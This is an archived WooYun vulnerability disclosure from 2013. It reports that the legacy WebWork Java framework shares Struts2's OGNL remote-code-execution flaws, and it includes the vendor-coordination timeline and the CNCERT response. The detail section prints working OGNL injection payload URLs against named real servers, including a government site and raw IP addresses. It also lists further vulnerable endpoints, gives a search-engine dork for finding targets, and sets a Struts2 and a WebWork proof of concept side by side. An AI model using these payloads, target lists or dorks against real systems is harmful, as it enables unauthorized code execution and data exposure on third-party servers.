当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-034264

漏洞标题:祭奠那些年被遗忘的远程代码执行漏洞的框架(同样祭奠七夕节)

相关厂商:j2ee老框架使用者

漏洞作者: Nebula

提交时间:2013-08-13 17:52

修复时间:2013-11-11 17:53

公开时间:2013-11-11 17:53

漏洞类型:命令执行

危害等级:中

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-13: 细节已通知厂商并且等待厂商处理中
2013-08-17: 厂商已经确认,细节仅向厂商公开
2013-08-20: 细节向第三方安全合作伙伴开放
2013-10-11: 细节向核心白帽子及相关领域专家公开
2013-10-21: 细节向普通白帽子公开
2013-10-31: 细节向实习白帽子公开
2013-11-11: 细节向公众公开

简要描述:

RT!

详细说明:


webWork是建立在称为XWork的Command模式框架之上的强大的基于Web的MVC框架。
详细见百科:http://baike.baidu.com/view/25660.htm
作为j2ee史上一个重要而强大的MVC框架,当struts1框架走到尽头时,是它充当了struts1到struts2过度时期的替代品,从strust2选择与webWork合并时,复用其大量核心代码及结构不难看出它的强大!


由于struts2大量保留webWork的一些功能及特性,所以struts2非自身添加的新功能或特性漏洞的地方,webWork同样存在!只是写PoC及exp时要读一下webWork的源代码!


比如:2010年7月,我们熟悉的struts2漏洞PoC:
http://www.hanchuan.gov.cn:8080/kdgs/biz/portal/govservice/catalogServiceSummary.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=1
http://211.137.133.80/csp/kbs/displayKnowledgeFirstPage.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=1
再比如:最近这个s016,struts2漏洞PoC:
http://www.hanchuan.gov.cn:8080/kdgs/biz/portal/govservice/catalogServiceSummary.action?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%23application%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
http://211.137.133.80/csp/kbs/displayKnowledgeFirstPage.action?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%23application%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
http://pmo.cfischina.com/rdms/satisfyaid/actions/cstContactAction!register.action


1.png


2.png


漏洞证明:

当然,webWork使用范围肯定不只这么点广:
比如:上海漫索计算机科技有限公司的大量应用及他们的产品Mainsoft就大量使用webWork框架:
http://www.mansuo.com/home/index.action?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%23application%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}


3.png


Mainsoft软件用户列表:
http://www.mansuo.com/home/newsList.action?typeIds=2


本身如果部署在内网,还可以缓解一下危害,但有些还是部署在外网。
比如google key:
intitle:集成化研发管理平台登录页面


4.png


本身就算部署在外网,没有进入webWork框架流程的url,也是没用的(好象是struts1及webWork混合在用)。但找到了一个开启了外部webWrok实现的注册功能:
http://114.242.194.148/rdms/satisfyaid/actions/cstContactAction!register.action
http://pmo.cfischina.com/rdms/satisfyaid/actions/cstContactAction!register.action
http://218.85.36.216:8085/rdms/satisfyaid/actions/cstContactAction!register.action
http://center.ylzinfo.com:8085/rdms/satisfyaid/actions/cstContactAction!register.action
http://rdms.mansuo.com/rdms/satisfyaid/actions/cstContactAction!register.action
http://service.epsoft.com.cn/rdms/satisfyaid/actions/cstContactAction!register.action
http://116.228.221.108:22480/rdms/satisfyaid/actions/cstContactAction!register.action
。。。。


ps:// 因为不会再有补丁,命令执行及写入webShell的exp和寻找目标的方法,肯定不能说!如果你真的有心(虽然它的很多特征与struts2相同),但熟悉后就很容易了!
比如,其中一个PoC的对比,我只轻轻改一个地方:
struts2:

?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22struts2Bug-67c2c13e9cc0c312973c90245537fd04%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}


webWork:

?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22webWorkBug-9de3deb185db08ab775d3fa8ad6aed8e%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}


修复方案:


问问官方怎么说!


版权声明:转载请注明来源 Nebula@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2013-08-17 21:44

厂商回复:

CNVD确认并复现所述情况,利用代码与struts2 类似,其实就改成struts1即可。已经在多个实例上复现,不过对于应用该框架的应用软件,暂未找到很好的远程盲检方法。
rank 14

最新状态:

暂无


漏洞评价:

评论

  1. 2013-08-13 23:23 | cncert国家互联网应急中心(乌云厂商)

    写得很艺术气息……

  2. 2013-08-15 10:09 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    楼上这个……

  3. 2013-08-17 22:34 | Nebula ( 普通白帽子 | Rank:215 漏洞数:22 | xxxxx)

    @cncert国家互联网应急中心 ... 其实就改成struts1即可? 这跟struts1有什么关系? 理解不对哦!